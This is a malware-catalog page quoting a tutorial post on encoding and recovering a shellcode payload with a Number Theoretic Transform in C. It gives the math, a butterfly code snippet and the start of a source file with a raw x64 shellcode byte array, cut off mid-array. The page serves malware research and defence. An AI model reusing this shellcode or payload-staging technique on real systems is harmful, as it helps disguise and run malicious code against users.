AETERNAE AI RESEARCH LLC INDEPENDENT RESEARCH
ÆAETERNAERESEARCH
Sign inRequest access
← Malware catalog

Attributed metadata history

REPORTPUBLIC METADATA

Malware and cryptography 48 - transform and recover payload via Number Theoretic Transform. Simple C example

﷽ Introduction to Malware Binary Triage (IMBT) Course Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor. Enroll Now and Save 10%: Coupon Code MWNEWS10 Note: Affiliate link – your enrollment helps support this platform at no extra cost to you. Hello, cybersecurity enthusiasts and white hackers! In the previous part 47, I encrypted and decrypted payload with Trivium. As usual, exploring various crypto algorithms and transformations, I decided to check what would happen if we apply another trick to encrypt/decrypt the payload. I apply the Number Theoretic Transform (NTT) to the same 313 bytes. Number Theoretic Transform The NTT is a discrete Fourier transform over a finite field. It replaces complex arithmetic with integer arithmetic modulo a prime number. That makes the forward and inverse calculations exact: there are no floating-point coefficients to round. For a block of N values and a primitive Nth root of unity \(\omega\) modulo \(p\), the forward transform is: [X_k = \sum_{j=0}^{N-1} x_j \omega^{jk} \pmod p.] The inverse transform is: [x_j = N^{-1} \sum_{k=0}^{N-1} X_k \omega^{-jk} \pmod p.] I use \(N=256\), \(p=257\) and \(\omega=3\). The value 3 has order 256 modulo 257: \(3^{256} \equiv 1 \pmod{257}\) and \(3^{128} \equiv -1 \pmod{257}\). The inverse transform uses \(3^{-1} \equiv 86 \pmod{257}\) and \(256^{-1} \equiv 256 \pmod{257}\). Each input byte is a field element from 0 through 255. A transformed coefficient can also be 256, so I store coefficients in uint16_t. The payload is 313 bytes: the program processes two 256-value blocks, filling the last 199 positions with zero. After the inverse transform, it discards those padding values and compares the recovered bytes with the original. The forward and inverse NTT here are a reversible representation change, not encryption. The transform has no secret key and provides no confidentiality; this example shows exact recovery of the payload before the Windows run. practical example First of all, mod_pow() calculates powers modulo 257 by repeated squaring. The NTT uses it to calculate each butterfly’s root step and the modular inverses needed by the reverse transform. The transform first reorders the coefficients into bit-reversed order. Each radix-2 butterfly combines a pair of values. For a current root factor \(w\), the pair \(a,b\) becomes \(a+bw\) and \(a-bw\) modulo 257: uint32_t even = values[start + j]; uint32_t odd = (values[start + j + length / 2] * factor) % MODULUS; uint32_t sum = even + odd; uint32_t difference = even + MODULUS - odd; The inverse uses the reciprocal root and multiplies every result by \(N^{-1}\). The program checks the chosen root’s order, restores each block and compares all 313 bytes before proceeding. The complete Linux script looks like this (hack.c): /* * hack.c - NTT transform and recovery of the Meow-meow payload * author: @cocomelonc * https://cocomelonc.github.io/malware/2026/12/01/malware-cryptography-48.html */ #include <stdint.h> #include <stdio.h> #include <string.h> static const uint8_t payload = “\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41” “\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60” “\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72” “\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac” “\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2” “\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48” “\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f” “\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49” “\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01” “\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01” “\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1” “\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41” “\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b” “\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58

Reference details

Source category
research-report
First reported
Dec 03, 2026 17:21 UTC
Last reported
Dec 03, 2026 17:21 UTC
Catalog updated
Dec 04, 2026 05:09 UTC
Record ID
8c8dd6f578120cfa94bb51063299c6e90e6c8ff8d261e75fd1637555a8445604

Published indicators

Network indicators are visibly defanged. This page does not make them clickable or send them to another service.

No validated file hashes or network indicators are stored for this record.

Source observations

intelligence_src_f9879f264b7a8ec1d7

Source-provided label
Publisher RSS metadata
Evidence class
mentioned in report
Confidence
Not reported
Observed
Dec 03, 2026 17:21 UTC
Retrieved
Dec 04, 2026 05:09 UTC

This record contains metadata and attribution only. It does not host, download, unpack, render, or execute malware samples.

Feed collection status

Sources represented on this page. Publication and observation dates describe the content; successful batch dates describe local collection. A recent batch does not certify complete coverage or current provider availability.

1 sources: 0 stale, 0 needing attention, 0 paused, 0 unverified.

Review source update dates and status
  • intelligence_src_f9879f264b7a8ec1d7Recent successful batchLast successful batch: Last attempt:

Stale means older than twice the recorded collection interval, with a minimum of one hour; without an interval, the threshold is 24 hours. Cached content remains available while a feed is stale, paused, or unverified.